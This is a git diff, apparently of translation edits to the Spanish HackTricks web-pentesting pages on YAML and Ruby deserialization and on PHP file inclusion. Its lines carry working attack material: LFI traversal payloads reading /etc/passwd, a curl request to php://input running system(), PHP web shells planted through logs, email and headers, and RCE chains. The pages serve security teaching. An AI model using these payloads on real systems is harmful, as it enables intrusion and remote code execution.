--- a/src/pentesting-web/deserialization/python-yaml-deserialization.md
+++ b/src/pentesting-web/deserialization/python-yaml-deserialization.md
@@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
 #The other ways to load data will through an error as they won't even attempt to
 #deserialize the python object
 ```
-El código anterior utilizó **unsafe_load** para cargar la clase de python serializada. Esto se debe a que en **versión >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
+El código anterior utilizó **unsafe_load** para cargar la clase de python serializada. Esto se debe a que en **version >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
 
 ### Exploit Básico
 
diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md
index 0ecbf6734..8a0d409f7 100644
--- a/src/pentesting-web/deserialization/ruby-_json-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-_json-pollution.md
@@ -6,7 +6,7 @@ Este es un resumen de la publicación [https://nastystereo.com/security/rails-_j
 
 ## Información básica
 
-Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero luego también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
+Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
 ```json
 {
 "id": 123,
diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md
index fa9889c5a..44aa73d40 100644
--- a/src/pentesting-web/deserialization/ruby-class-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-class-pollution.md
@@ -1,10 +1,10 @@
-# Contaminación de Clases en Ruby
+# Ruby Class Pollution
 
 {{#include ../../banners/hacktricks-training.md}}
 
 Este es un resumen de la publicación [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
 
-## Fusión en Atributos
+## Merge on Attributes
 
 Ejemplo:
 ```ruby
@@ -143,7 +143,7 @@ JSONMergerApp.run(json_input)
 ```
 ### Explicación
 
-1. **Escalación de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
+1. **Escalamiento de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
 2. **Ejecución Remota de Código**: En `health_check`, `instance_eval` ejecuta métodos listados en `protected_methods`. Si un atacante inyecta nombres de métodos personalizados (como `"puts 1"`), `instance_eval` lo ejecutará, lo que lleva a **ejecución remota de código (RCE)**.
 1. Esto solo es posible porque hay una **instrucción `eval` vulnerable** que ejecuta el valor de cadena de ese atributo.
 3. **Limitación de Impacto**: Esta vulnerabilidad solo afecta a instancias individuales, dejando otras instancias de `User` y `Admin` sin afectar, limitando así el alcance de la explotación.
@@ -246,7 +246,7 @@ end
 json_input = ARGV[0]
 JSONMergerApp.run(json_input)
 ```
-## Envenenar las Clases <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
+## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
 
 En el siguiente ejemplo es posible encontrar la clase **`Person`**, y las clases **`Admin`** y **`Regular`** que heredan de la clase **`Person`**. También tiene otra clase llamada **`KeySigner`**:
 ```ruby
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 53d88ccfa..68a1b9ed3 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -13,7 +13,7 @@ Funciones **PHP vulnerables**: require, require_once, include, include_once
 
 Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 
-## Archivos LFI2RCE - Interesantes - Ciegos
+## Ciegas - Interesantes - Archivos LFI2RCE
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
@@ -65,7 +65,7 @@ Esto está **resuelto desde PHP 5.4**
 
 ### **Codificación**
 
-Podrías usar codificaciones no estándar como la codificación doble de URL (y otras):
+Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@@ -93,9 +93,9 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
 3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
 - **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
 - **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
-4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
+4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
 
-Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
+Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
@@ -121,7 +121,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
 ```
 En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
 
-- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
+- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
 - **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
 - **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
 
@@ -177,7 +177,7 @@ Parece que si tienes un Path Traversal en Java y **pides un directorio** en luga
 
 ## Top 25 parameters
 
-Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@@ -209,13 +209,13 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
 
 ### php://filter
 
-Los filtros de PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
+Los filtros PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
-- `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
+- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
 - Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
@@ -276,12 +276,12 @@ En la publicación original puedes encontrar una explicación detallada de la t
 - Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
 - Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
 - El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
-- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
+- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
 - El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
 - Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
 - Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
 - El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
-- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **pivote con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
+- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
 
 En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
@@ -339,7 +339,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
 ```
 ### phar://
 
-Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para cargar archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
+Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -374,12 +374,12 @@ Fue posible asignar bloques de tamaños específicos abusando de más filtros ph
 
 Verifique más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
 
@@ -404,7 +404,7 @@ Es importante **codificar en URL estas cargas útiles**.
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) pero el contenido no se muestra.
+> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
 
 En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
 
@@ -424,14 +424,14 @@ Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
 
 ### A través del archivo de registro de Apache/Nginx
 
-Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell php como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
+Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
 
 > [!WARNING]
 > Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
 >
 > Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
 
-Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
+Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\
 Otras posibles rutas de registro:
 ```python
 /var/log/apache2/access.log
@@ -446,16 +446,16 @@ Otras posibles rutas de registro:
 ```
 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 
-### A través de Email
+### Vía Email
 
 **Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
 
-### A través de /proc/\*/fd/\*
+### Vía /proc/\*/fd/\*
 
 1. Sube muchas shells (por ejemplo: 100)
-2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD el descriptor de archivo (también puede ser forzado por fuerza bruta)
+2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (se puede forzar por fuerza bruta) y $FD el descriptor de archivo (también se puede forzar por fuerza bruta)
 
-### A través de /proc/self/environ
+### Vía /proc/self/environ
 
 Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
 ```
@@ -588,26 +588,4 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### A través de espera eterna + bruteforce
 
-Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
-
-{{#ref}}
-lfi2rce-via-eternal-waiting.md
-{{#endref}}
-
-### A Error Fatal
-
-Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
-
-**No sé cuán útil es esto, pero podría serlo.**\
-&#xNAN;_&#x45;ven si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
-
-<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
-
-## Referencias
-
-- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
-- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
-
-{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
-
-{{#include ../../banners/hacktricks-training.md}}
+Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podr
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
index 8ca5adc51..30bda23e5 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -1,4 +1,4 @@
-# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
+# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -26,14 +26,14 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
 
 [**Este CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) fue resuelto utilizando el truco anterior.
 
-El atacante hará que el **servidor víctima abra una conexión leyendo un archivo del servidor del atacante** utilizando el protocolo **`compress.zlib`**.
+El atacante hará que el **servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante** utilizando el **`compress.zlib`** protocolo.
 
-**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (es filtrado por el servidor).
+**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (es filtrada por el servidor).
 
 **Mientras** la **conexión** siga abierta, el atacante **explotará un LFI cargando el archivo temporal** que controla.
 
-Sin embargo, hay una verificación en el servidor web que **previene cargar archivos que contengan `<?`**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** **enviará la carga útil de PHP DESPUÉS** de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos, pero **ANTES de cargar su contenido**.
+Sin embargo, hay una verificación en el servidor web que **previene cargar archivos que contengan `<?`**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** **enviará la carga útil de PHP DESPUÉS** de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos, pero **ANTES de que cargue su contenido**.
 
-Para más información, consulta la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
+Para más información, consulte la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
index 9c4543b6a..bd0d55f0c 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
@@ -17,24 +17,24 @@ También, el **número de nombres de archivo potenciales es 62\*62\*62\*62\*62\*
 
 ### Otras técnicas
 
-Otras técnicas se basan en atacar protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\
-Esta técnica es **muy similar a la última pero sin necesidad de encontrar un zero day**.
+Otras técnicas se basan en atacar protocolos de PHP (no podrás si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\
+Esta técnica es **muy similar a la anterior pero sin necesidad de encontrar un zero day**.
 
 ### Técnica de espera eterna
 
 En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **forzar archivos subidos** y **encontrar** cualquiera de los que se hayan subido.
 
-**Pros de esta técnica**:
+**Ventajas de esta técnica**:
 
 - Solo necesitas controlar una ruta relativa dentro de un include
-- No requiere nginx o un nivel inesperado de acceso a archivos de registro
+- No requiere nginx ni un nivel inesperado de acceso a archivos de registro
 - No requiere un 0 day para causar un fallo de segmentación
 - No requiere divulgación de ruta
 
 Los **principales problemas** de esta técnica son:
 
 - Necesita que un archivo(s) específico(s) esté(n) presente(s) (puede haber más)
-- La **cantidad insana** de nombres de archivo potenciales: **56800235584**
+- La **increíble** cantidad de nombres de archivo potenciales: **56800235584**
 - Si el servidor **no está usando dígitos**, la cantidad total potencial es: **19770609664**
 - Por defecto, **solo se pueden subir 20 archivos** en una **solicitud única**.
 - El **número máximo de trabajadores paralelos** del servidor utilizado.
@@ -65,7 +65,7 @@ Hagamos algunos cálculos:
 > [!WARNING]
 > ¡Ten en cuenta que en el ejemplo anterior estamos **completamente DoSing a otros clientes**!
 
-Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a mitad de camino al número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
+Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a medio camino del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
 
 ## PHP-FMP
 
@@ -74,7 +74,7 @@ Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP
 PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
 Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número de segundos indicado, es **eliminada**. Esto significa que, si la solicitud estaba subiendo archivos temporales, porque el **procesamiento de PHP fue detenido**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
 
-Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de PHP por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
+Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
 
 Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**).
 
@@ -92,6 +92,6 @@ Sí, es posible generar 100000 archivos temporales en una instancia de tamaño m
 
 ## Nginx
 
-Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número puede mejorarse).
+Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número se puede mejorar).
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
index 25ceed065..8fb988e98 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@@ -11,12 +11,12 @@ Básicamente, el objetivo del script es **generar una cadena Base64** al **princ
 Las bases para hacer esto son:
 
 - `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena
-- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`.
+- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea un base64 válido. Da algunos problemas si encuentra un "=" inesperado, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`.
 
 El bucle para generar contenido arbitrario es:
 
 1. anteponer `\x1b$)C` a nuestra cadena como se describió anteriormente
-2. aplicar una cadena de conversiones iconv que deje nuestra base64 inicial intacta y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
+2. aplicar una cadena de conversiones iconv que deje nuestro base64 inicial intacto y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
 3. decodificar en base64 y volver a codificar en base64 la cadena, lo que eliminará cualquier basura en medio
 4. Volver a 1 si el base64 que queremos construir aún no está terminado
 5. decodificar en base64 para obtener nuestro código php
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
index 43bdb7caf..8a2497b2f 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@@ -6,7 +6,7 @@ Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una pági
 
 **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
 
-Necesitas corregir el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
+Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
 ```
 sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
 ```
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
index e91167401..b88530635 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
@@ -1,4 +1,4 @@
-# LFI2RCE a través de Fallo de Segmentación
+# LFI2RCE a través de un fallo de segmentación
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
 ```
 Debes saber que si **envías** una solicitud **POST** **que contiene** un **archivo**, PHP creará un **archivo temporal en `/tmp/php<algo>`** con el contenido de ese archivo. Este archivo será **eliminado automáticamente** una vez que se procese la solicitud.
 
-Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscar** en la vulnerabilidad **LFI** hasta que lo encuentres y ejecutes código arbitrario.
+Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscar**lo con la vulnerabilidad **LFI** hasta que lo encuentres y ejecutes código arbitrario.
 
